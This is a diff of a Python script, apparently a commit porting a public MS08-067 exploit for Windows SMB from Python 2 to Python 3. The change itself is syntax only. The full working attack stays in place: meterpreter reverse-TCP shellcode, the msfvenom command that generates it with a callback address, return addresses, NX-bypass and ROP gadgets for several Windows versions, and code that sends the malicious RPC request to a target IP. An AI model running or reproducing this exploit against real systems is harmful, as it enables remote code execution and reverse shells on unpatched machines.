2
2
import time
3
3
import sys
4
4
5
-
6
5
from threading import Thread # Thread is imported incase you would like to modify
7
6
8
-
9
7
try :
10
-
11
8
from impacket import smb
12
-
13
9
from impacket import uuid
14
-
15
10
from impacket .dcerpc import dcerpc
16
-
17
11
from impacket .dcerpc import transport
18
12
19
- except ImportError , _ :
20
-
21
- print 'Install the following library to make this script work'
22
-
23
- print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
24
-
25
- print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
13
+ except ImportError as _ :
26
14
15
+ print ('Install the following library to make this script work' )
16
+ print ('Impacket : http://oss.coresecurity.com/projects/impacket.html' )
17
+ print ('PyCrypto : http://www.amk.ca/python/code/crypto.html' )
27
18
sys .exit (1 )
28
19
29
-
30
- print '#######################################################################'
31
-
32
- print '# MS08-067 Exploit'
33
-
34
- print '# This is a modified verion of Debasis Mohanty\' s code (https://www.exploit-db.com/exploits/7132/).'
35
-
36
- print '# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi'
37
-
38
- print '#######################################################################\n '
39
-
20
+ print ('#######################################################################' )
21
+ print ('# MS08-067 Exploit' )
22
+ print ('# This is a modified verion of Debasis Mohanty\' s code (https://www.exploit-db.com/exploits/7132/).' )
23
+ print (
24
+ '# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi' )
25
+ print ('#######################################################################\n ' )
40
26
41
27
# Shellcode: Staged Reverse TCP shellcode for meterpreter
42
28
# Badchars: \x00\x0a\x0d\x5c\x5f\x2f\x2e\x40
43
29
# Payload size: 380 bytes + 30 NOPS
44
30
# Make sure you set meterpreter EXITFUNC=thread - Important!
45
31
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.47 LPORT=4444EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c
46
32
shellcode = (
47
- "\x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 "
48
- "\x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 "
49
- "\x33 \xc9 \x83 \xe9 \xa7 \xe8 \xff \xff \xff \xff \xc0 \x5e \x81 \x76 \x0e "
50
- "\x49 \x8d \xa8 \x90 \x83 \xee \xfc \xe2 \xf4 \xb5 \x65 \x2a \x90 \x49 \x8d "
51
- "\xc8 \x19 \xac \xbc \x68 \xf4 \xc2 \xdd \x98 \x1b \x1b \x81 \x23 \xc2 \x5d "
52
- "\x06 \xda \xb8 \x46 \x3a \xe2 \xb6 \x78 \x72 \x04 \xac \x28 \xf1 \xaa \xbc "
53
- "\x69 \x4c \x67 \x9d \x48 \x4a \x4a \x62 \x1b \xda \x23 \xc2 \x59 \x06 \xe2 "
54
- "\xac \xc2 \xc1 \xb9 \xe8 \xaa \xc5 \xa9 \x41 \x18 \x06 \xf1 \xb0 \x48 \x5e "
55
- "\x23 \xd9 \x51 \x6e \x92 \xd9 \xc2 \xb9 \x23 \x91 \x9f \xbc \x57 \x3c \x88 "
56
- "\x42 \xa5 \x91 \x8e \xb5 \x48 \xe5 \xbf \x8e \xd5 \x68 \x72 \xf0 \x8c \xe5 "
57
- "\xad \xd5 \x23 \xc8 \x6d \x8c \x7b \xf6 \xc2 \x81 \xe3 \x1b \x11 \x91 \xa9 "
58
- "\x43 \xc2 \x89 \x23 \x91 \x99 \x04 \xec \xb4 \x6d \xd6 \xf3 \xf1 \x10 \xd7 "
59
- "\xf9 \x6f \xa9 \xd2 \xf7 \xca \xc2 \x9f \x43 \x1d \x14 \xe5 \x9b \xa2 \x49 "
60
- "\x8d \xc0 \xe7 \x3a \xbf \xf7 \xc4 \x21 \xc1 \xdf \xb6 \x4e \x72 \x7d \x28 "
61
- "\xd9 \x8c \xa8 \x90 \x60 \x49 \xfc \xc0 \x21 \xa4 \x28 \xfb \x49 \x72 \x7d "
62
- "\xfa \x4c \xe5 \xa2 \x9b \x49 \xa2 \xc0 \x92 \x49 \x9c \xf4 \x19 \xaf \xdd "
63
- "\xf8 \xc0 \x19 \xcd \xf8 \xd0 \x19 \xe5 \x42 \x9f \x96 \x6d \x57 \x45 \xde "
64
- "\xe7 \xb8 \xc6 \x1e \xe5 \x31 \x35 \x3d \xec \x57 \x45 \xcc \x4d \xdc \x9a "
65
- "\xb6 \xc3 \xa0 \xe5 \xa5 \x65 \xc9 \x90 \x49 \x8d \xc2 \x90 \x23 \x89 \xfe "
66
- "\xc7 \x21 \x8f \x71 \x58 \x16 \x72 \x7d \x13 \xb1 \x8d \xd6 \xa6 \xc2 \xbb "
67
- "\xc2 \xd0 \x21 \x8d \xb8 \x90 \x49 \xdb \xc2 \x90 \x21 \xd5 \x0c \xc3 \xac "
68
- "\x72 \x7d \x03 \x1a \xe7 \xa8 \xc6 \x1a \xda \xc0 \x92 \x90 \x45 \xf7 \x6f "
69
- "\x9c \x0e \x50 \x90 \x34 \xaf \xf0 \xf8 \x49 \xcd \xa8 \x90 \x23 \x8d \xf8 "
70
- "\xf8 \x42 \xa2 \xa7 \xa0 \xb6 \x58 \xff \xf8 \x3c \xe3 \xe5 \xf1 \xb6 \x58 "
71
- "\xf6 \xce \xb6 \x81 \x8c \x79 \x38 \x72 \x57 \x6f \x48 \x4e \x81 \x56 \x3c "
72
- "\x4a \x6b \x2b \xa9 \x90 \x82 \x9a \x21 \x2b \x3d \x2d \xd4 \x72 \x7d \xac "
73
- "\x4f \xf1 \xa2 \x10 \xb2 \x6d \xdd \x95 \xf2 \xca \xbb \xe2 \x26 \xe7 \xa8 "
74
- "\xc3 \xb6 \x58 \xa8 \x90 "
33
+ "\x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 "
34
+ "\x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 "
35
+ "\x33 \xc9 \x83 \xe9 \xa7 \xe8 \xff \xff \xff \xff \xc0 \x5e \x81 \x76 \x0e "
36
+ "\x49 \x8d \xa8 \x90 \x83 \xee \xfc \xe2 \xf4 \xb5 \x65 \x2a \x90 \x49 \x8d "
37
+ "\xc8 \x19 \xac \xbc \x68 \xf4 \xc2 \xdd \x98 \x1b \x1b \x81 \x23 \xc2 \x5d "
38
+ "\x06 \xda \xb8 \x46 \x3a \xe2 \xb6 \x78 \x72 \x04 \xac \x28 \xf1 \xaa \xbc "
39
+ "\x69 \x4c \x67 \x9d \x48 \x4a \x4a \x62 \x1b \xda \x23 \xc2 \x59 \x06 \xe2 "
40
+ "\xac \xc2 \xc1 \xb9 \xe8 \xaa \xc5 \xa9 \x41 \x18 \x06 \xf1 \xb0 \x48 \x5e "
41
+ "\x23 \xd9 \x51 \x6e \x92 \xd9 \xc2 \xb9 \x23 \x91 \x9f \xbc \x57 \x3c \x88 "
42
+ "\x42 \xa5 \x91 \x8e \xb5 \x48 \xe5 \xbf \x8e \xd5 \x68 \x72 \xf0 \x8c \xe5 "
43
+ "\xad \xd5 \x23 \xc8 \x6d \x8c \x7b \xf6 \xc2 \x81 \xe3 \x1b \x11 \x91 \xa9 "
44
+ "\x43 \xc2 \x89 \x23 \x91 \x99 \x04 \xec \xb4 \x6d \xd6 \xf3 \xf1 \x10 \xd7 "
45
+ "\xf9 \x6f \xa9 \xd2 \xf7 \xca \xc2 \x9f \x43 \x1d \x14 \xe5 \x9b \xa2 \x49 "
46
+ "\x8d \xc0 \xe7 \x3a \xbf \xf7 \xc4 \x21 \xc1 \xdf \xb6 \x4e \x72 \x7d \x28 "
47
+ "\xd9 \x8c \xa8 \x90 \x60 \x49 \xfc \xc0 \x21 \xa4 \x28 \xfb \x49 \x72 \x7d "
48
+ "\xfa \x4c \xe5 \xa2 \x9b \x49 \xa2 \xc0 \x92 \x49 \x9c \xf4 \x19 \xaf \xdd "
49
+ "\xf8 \xc0 \x19 \xcd \xf8 \xd0 \x19 \xe5 \x42 \x9f \x96 \x6d \x57 \x45 \xde "
50
+ "\xe7 \xb8 \xc6 \x1e \xe5 \x31 \x35 \x3d \xec \x57 \x45 \xcc \x4d \xdc \x9a "
51
+ "\xb6 \xc3 \xa0 \xe5 \xa5 \x65 \xc9 \x90 \x49 \x8d \xc2 \x90 \x23 \x89 \xfe "
52
+ "\xc7 \x21 \x8f \x71 \x58 \x16 \x72 \x7d \x13 \xb1 \x8d \xd6 \xa6 \xc2 \xbb "
53
+ "\xc2 \xd0 \x21 \x8d \xb8 \x90 \x49 \xdb \xc2 \x90 \x21 \xd5 \x0c \xc3 \xac "
54
+ "\x72 \x7d \x03 \x1a \xe7 \xa8 \xc6 \x1a \xda \xc0 \x92 \x90 \x45 \xf7 \x6f "
55
+ "\x9c \x0e \x50 \x90 \x34 \xaf \xf0 \xf8 \x49 \xcd \xa8 \x90 \x23 \x8d \xf8 "
56
+ "\xf8 \x42 \xa2 \xa7 \xa0 \xb6 \x58 \xff \xf8 \x3c \xe3 \xe5 \xf1 \xb6 \x58 "
57
+ "\xf6 \xce \xb6 \x81 \x8c \x79 \x38 \x72 \x57 \x6f \x48 \x4e \x81 \x56 \x3c "
58
+ "\x4a \x6b \x2b \xa9 \x90 \x82 \x9a \x21 \x2b \x3d \x2d \xd4 \x72 \x7d \xac "
59
+ "\x4f \xf1 \xa2 \x10 \xb2 \x6d \xdd \x95 \xf2 \xca \xbb \xe2 \x26 \xe7 \xa8 "
60
+ "\xc3 \xb6 \x58 \xa8 \x90 "
75
61
)
76
62
77
63
# Shellcode2 - Standard Reverse TCP shellcode
110
96
)
111
97
112
98
nonxjmper = "\x08 \x04 \x02 \x00 %s" + "A" * 4 + "%s" + \
113
- "A" * 42 + "\x90 " * 8 + "\xeb \x62 " + "A" * 10
99
+ "A" * 42 + "\x90 " * 8 + "\xeb \x62 " + "A" * 10
114
100
disableNXjumper = "\x08 \x04 \x02 \x00 %s%s%s" + "A" * \
115
- 28 + "%s" + "\xeb \x02 " + "\x90 " * 2 + "\xeb \x62 "
116
- ropjumper = "\x00 \x08 \x01 \x00 " + "%s" + "\x10 \x01 \x04 \x01 " ;
101
+ 28 + "%s" + "\xeb \x02 " + "\x90 " * 2 + "\xeb \x62 "
102
+ ropjumper = "\x00 \x08 \x01 \x00 " + "%s" + "\x10 \x01 \x04 \x01 "
117
103
module_base = 0x6f880000
118
104
119
105
@@ -135,7 +121,7 @@ def generate_rop(rvas):
135
121
ret += gadget2 [0 ]
136
122
ret += gadget2 [1 ]
137
123
ret += struct .pack ('<L' , rvas [
138
- 'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret' ] + module_base )
124
+ 'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret' ] + module_base )
139
125
ret += struct .pack ('<L' , rvas ['pop ecx / ret' ] + module_base )
140
126
ret += gadget2 [2 ]
141
127
ret += struct .pack ('<L' , rvas ['mov [eax+0x10], ecx / ret' ] + module_base )
@@ -148,117 +134,106 @@ def generate_rop(rvas):
148
134
class SRVSVC_Exploit (Thread ):
149
135
150
136
def __init__ (self , target , os , port = 445 ):
151
-
152
137
super (SRVSVC_Exploit , self ).__init__ ()
153
-
154
138
self .__port = port
155
-
156
139
self .target = target
157
140
self .os = os
158
141
159
142
def __DCEPacket (self ):
160
143
if (self .os == '1' ):
161
- print 'Windows XP SP0/SP1 Universal\n '
144
+ print ( 'Windows XP SP0/SP1 Universal\n ' )
162
145
ret = "\x61 \x13 \x00 \x01 "
163
146
jumper = nonxjmper % (ret , ret )
164
147
elif (self .os == '2' ):
165
- print 'Windows 2000 Universal\n '
148
+ print ( 'Windows 2000 Universal\n ' )
166
149
ret = "\xb0 \x1c \x1f \x00 "
167
150
jumper = nonxjmper % (ret , ret )
168
151
elif (self .os == '3' ):
169
- print 'Windows 2003 SP0 Universal\n '
152
+ print ( 'Windows 2003 SP0 Universal\n ' )
170
153
ret = "\x9e \x12 \x00 \x01 " # 0x01 00 12 9e
171
154
jumper = nonxjmper % (ret , ret )
172
155
elif (self .os == '4' ):
173
- print 'Windows 2003 SP1 English\n '
156
+ print ( 'Windows 2003 SP1 English\n ' )
174
157
ret_dec = "\x8c \x56 \x90 \x7c " # 0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
175
158
ret_pop = "\xf4 \x7c \xa2 \x7c " # 0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
176
159
jmp_esp = "\xd3 \xfe \x86 \x7c " # 0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
177
160
disable_nx = "\x13 \xe4 \x83 \x7c " # 0x 7c 83 e4 13 NX disable @NTDLL.DLL
178
161
jumper = disableNXjumper % (
179
162
ret_dec * 6 , ret_pop , disable_nx , jmp_esp * 2 )
180
163
elif (self .os == '5' ):
181
- print 'Windows XP SP3 French (NX)\n '
164
+ print ( 'Windows XP SP3 French (NX)\n ' )
182
165
ret = "\x07 \xf8 \x5b \x59 " # 0x59 5b f8 07
183
166
disable_nx = "\xc2 \x17 \x5c \x59 " # 0x59 5c 17 c2
184
167
# the nonxjmper also work in this case.
185
168
jumper = nonxjmper % (disable_nx , ret )
186
169
elif (self .os == '6' ):
187
- print 'Windows XP SP3 English (NX)\n '
170
+ print ( 'Windows XP SP3 English (NX)\n ' )
188
171
ret = "\x07 \xf8 \x88 \x6f " # 0x6f 88 f8 07
189
172
disable_nx = "\xc2 \x17 \x89 \x6f " # 0x6f 89 17 c2
190
173
# the nonxjmper also work in this case.
191
174
jumper = nonxjmper % (disable_nx , ret )
192
175
elif (self .os == '7' ):
193
- print 'Windows XP SP3 English (AlwaysOn NX)\n '
194
- rvasets = {'call_HeapCreate' : 0x21286 , 'add eax, ebp / mov ecx, 0x59ffffa8 / ret' : 0x2e796 , 'pop ecx / ret' : 0x2e796 + 6 ,
195
- 'mov [eax], ecx / ret' : 0xd296 , 'jmp eax' : 0x19c6f , 'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret' : 0x10a56 , 'mov [eax+0x10], ecx / ret' : 0x10a56 + 6 , 'add eax, 8 / ret' : 0x29c64 }
176
+ print ('Windows XP SP3 English (AlwaysOn NX)\n ' )
177
+ rvasets = {'call_HeapCreate' : 0x21286 , 'add eax, ebp / mov ecx, 0x59ffffa8 / ret' : 0x2e796 ,
178
+ 'pop ecx / ret' : 0x2e796 + 6 ,
179
+ 'mov [eax], ecx / ret' : 0xd296 , 'jmp eax' : 0x19c6f ,
180
+ 'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret' : 0x10a56 ,
181
+ 'mov [eax+0x10], ecx / ret' : 0x10a56 + 6 , 'add eax, 8 / ret' : 0x29c64 }
196
182
# the nonxjmper also work in this case.
197
183
jumper = generate_rop (rvasets ) + "AB"
198
184
else :
199
- print 'Not supported OS version\n '
185
+ print ( 'Not supported OS version\n ' )
200
186
sys .exit (- 1 )
201
187
202
- print '[-]Initiating connection'
188
+ print ( '[-]Initiating connection' )
203
189
204
190
self .__trans = transport .DCERPCTransportFactory (
205
191
'ncacn_np:%s[\\ pipe\\ browser]' % self .target )
206
192
207
193
self .__trans .connect ()
208
194
209
- print '[-]connected to ncacn_np:%s[\\ pipe\\ browser]' % self .target
195
+ print ( '[-]connected to ncacn_np:%s[\\ pipe\\ browser]' % self .target )
210
196
211
197
self .__dce = self .__trans .DCERPC_class (self .__trans )
212
198
213
199
self .__dce .bind (uuid .uuidtup_to_bin (
214
200
('4b324fc8-1670-01d3-1278-5a47bf6ee188' , '3.0' )))
215
201
# Change shellcode to your required shellcode
216
202
path = "\x5c \x00 " + "ABCDEFGHIJ" * 10 + shellcode2 + "\x5c \x00 \x2e \x00 \x2e \x00 \x5c \x00 \x2e \x00 \x2e \x00 \x5c \x00 " + \
217
- "\x41 \x00 \x42 \x00 \x43 \x00 \x44 \x00 \x45 \x00 \x46 \x00 \x47 \x00 " + jumper + "\x00 " * 2
203
+ "\x41 \x00 \x42 \x00 \x43 \x00 \x44 \x00 \x45 \x00 \x46 \x00 \x47 \x00 " + jumper + "\x00 " * 2
218
204
219
205
server = "\xde \xa4 \x98 \xc5 \x08 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x08 \x00 \x00 \x00 \x41 \x00 \x42 \x00 \x43 \x00 \x44 \x00 \x45 \x00 \x46 \x00 \x47 \x00 \x00 \x00 "
220
206
prefix = "\x02 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x02 \x00 \x00 \x00 \x5c \x00 \x00 \x00 "
221
207
222
208
self .__stub = server + "\x36 \x01 \x00 \x00 \x00 \x00 \x00 \x00 \x36 \x01 \x00 \x00 " + \
223
- path + "\xE8 \x03 \x00 \x00 " + prefix + "\x01 \x10 \x00 \x00 \x00 \x00 \x00 \x00 "
209
+ path + "\xE8 \x03 \x00 \x00 " + prefix + "\x01 \x10 \x00 \x00 \x00 \x00 \x00 \x00 "
224
210
225
211
return
226
212
227
213
def run (self ):
228
-
229
214
self .__DCEPacket ()
230
-
231
215
self .__dce .call (0x1f , self .__stub )
232
216
time .sleep (5 )
233
- print 'Exploit finish\n '
217
+ print ( 'Exploit finish\n ' )
234
218
235
219
236
220
if __name__ == '__main__' :
237
221
238
- try :
239
-
240
- target = sys .argv [1 ]
241
- os = sys .argv [2 ]
242
-
243
- except IndexError :
244
-
245
- print '\n Usage: %s <target ip>\n ' % sys .argv [0 ]
246
- print 'Example: MS08_067.py 192.168.1.1 1 for Windows XP SP0/SP1 Universal\n '
247
- print 'Example: MS08_067.py 192.168.1.1 2 for Windows 2000 Universal\n '
248
- print 'Example: MS08_067.py 192.168.1.1 3 for Windows 2003 SP0 Universal\n '
249
- print 'Example: MS08_067.py 192.168.1.1 4 for Windows 2003 SP1 English\n '
250
- print 'Example: MS08_067.py 192.168.1.1 5 for Windows XP SP3 French (NX)\n '
251
- print 'Example: MS08_067.py 192.168.1.1 6 for Windows XP SP3 English (NX)\n '
252
- print 'Example: MS08_067.py 192.168.1.1 7 for Windows XP SP3 English (AlwaysOn NX)\n '
253
- sys .exit (- 1 )
254
-
255
-
222
+ try :
223
+ target = sys .argv [1 ]
224
+ os = sys .argv [2 ]
225
+
226
+ except IndexError :
227
+ print ('\n Usage: %s <target ip>\n ' % sys .argv [0 ])
228
+ print ('Example: MS08_067.py 192.168.1.1 1 for Windows XP SP0/SP1 Universal\n ' )
229
+ print ('Example: MS08_067.py 192.168.1.1 2 for Windows 2000 Universal\n ' )
230
+ print ('Example: MS08_067.py 192.168.1.1 3 for Windows 2003 SP0 Universal\n ' )
231
+ print ('Example: MS08_067.py 192.168.1.1 4 for Windows 2003 SP1 English\n ' )
232
+ print ('Example: MS08_067.py 192.168.1.1 5 for Windows XP SP3 French (NX)\n ' )
233
+ print ('Example: MS08_067.py 192.168.1.1 6 for Windows XP SP3 English (NX)\n ' )
234
+ print ('Example: MS08_067.py 192.168.1.1 7 for Windows XP SP3 English (AlwaysOn NX)\n ' )
235
+ sys .exit (- 1 )
256
236
257
237
current = SRVSVC_Exploit (target , os )
258
238
259
239
current .start ()
260
-
261
-
262
-
263
-
264
-
0 commit comments